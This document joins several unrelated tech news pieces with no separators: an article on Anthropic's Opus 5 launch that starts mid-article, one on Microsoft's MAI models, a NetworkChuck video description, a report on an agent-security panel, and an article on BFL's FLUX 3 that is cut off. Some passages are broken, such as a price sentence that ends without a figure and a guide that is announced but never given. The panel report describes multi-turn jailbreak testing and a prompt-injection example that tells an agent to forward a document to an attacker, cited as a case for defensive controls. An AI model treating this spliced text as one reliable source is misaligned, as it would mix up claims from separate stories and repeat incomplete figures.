"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."

Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.

Why token efficiency is becoming the real battleground for enterprise AI spending

Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.

Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."

Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.

The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. 

Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.

Self-verifying AI agents and what they mean for the hidden costs of automation

Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.

In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.

Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."

This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.

Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks

The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.

On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.

When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."

The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."

The business stakes behind the launch: a $380 billion valuation and massive compute bets

The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.

That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.

The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.

Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.

Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.

The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 

Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 

“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

Why Microsoft is turning its internal AI playbook into an Azure product

The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee

Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.

In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.

Join the NetworkChuck Academy!: https://ntck.co/NCAcademy

RESOURCES / LINKS:
🌐 Raspberry Pi Touch Display 2: https://www.raspberrypi.com/products/touch-display-2/
🛠️ TouchKio (open source kiosk app): https://github.com/leukipp/touchkio
🏠 Home Assistant: https://www.home-assistant.io/
🖥️ Proxmox: https://www.proxmox.com/
📖 Update your Raspberry Pi firmware (EEPROM): https://www.raspberrypi.com/documentation/computers/raspberry-pi.html
☕ NetworkChuck Coffee (Default Route): https://ntck.co/coffee

TIMESTAMPS:
0:00 - Unboxing the new Raspberry Pi Touch Display 2
0:45 - What is new on the 10 inch portrait display
1:50 - The catch: Raspberry Pi 5 and Compute Modules only
2:48 - It powered on and nothing happened
3:16 - The fix: updating your Raspberry Pi 5 firmware
5:55 - Building the Home Assistant dashboard with TouchKio

**Raspberry Pi provided the Touch Display 2 for this video, no strings attached. All opinions are my own.

SUPPORT NETWORKCHUCK:
☕☕ COFFEE and MERCH: https://ntck.co/coffee

READY TO LEARN??
🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy
📚 CCNA Course: https://ntck.co/ccna

FOLLOW ME EVERYWHERE:
Instagram: https://www.instagram.com/networkchuck/
X/Twitter: https://x.com/networkchuck
Facebook: https://www.facebook.com/NetworkChuck/
Join the Discord server: https://ntck.co/discord

Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.

#raspberrypi #homeassistant #homelab

VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math.

Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.

Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.

Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.

"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.

Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."

Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.

Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."

Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."

Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science.

Three layers versus an operating system

Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."

She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."

Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.

Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.

The end of human code review

Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."

Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."

Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.

"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.

Intent versus probability

An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.

That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.

Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.

For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.

The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface.

That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model.

FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve.

There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request.

What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.

Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.

But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far.

Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption

BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability.

In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.

One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.

Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.

Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.

Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality.

Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.

One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.

Here's a rough guide for enterprises considering which video models to rely upon:

One architecture for media generation and physical action

FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026.

The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.

"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."

He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."

BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.

For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.

For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.

What FLUX 3 Video can actually do

The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation.

Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.

The capability list BFL published covers:

• Text-to-video generation.

• Image-to-video generation, either animating from a starting frame or using images as visual references.

• Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.

• Generative video-audio continuation from existing video and audio input.

• Keyframe-to-video generation for controlled transitions between defined moments.

• Multilingual dialogue.

• A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.

• Typography generation and animated design.

• Agentic chaining of individual clips into longer, multi-shot sequences.

That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.

It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.

BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.

FLUX-mimic tests whether video models can become robot models

BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.

The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.

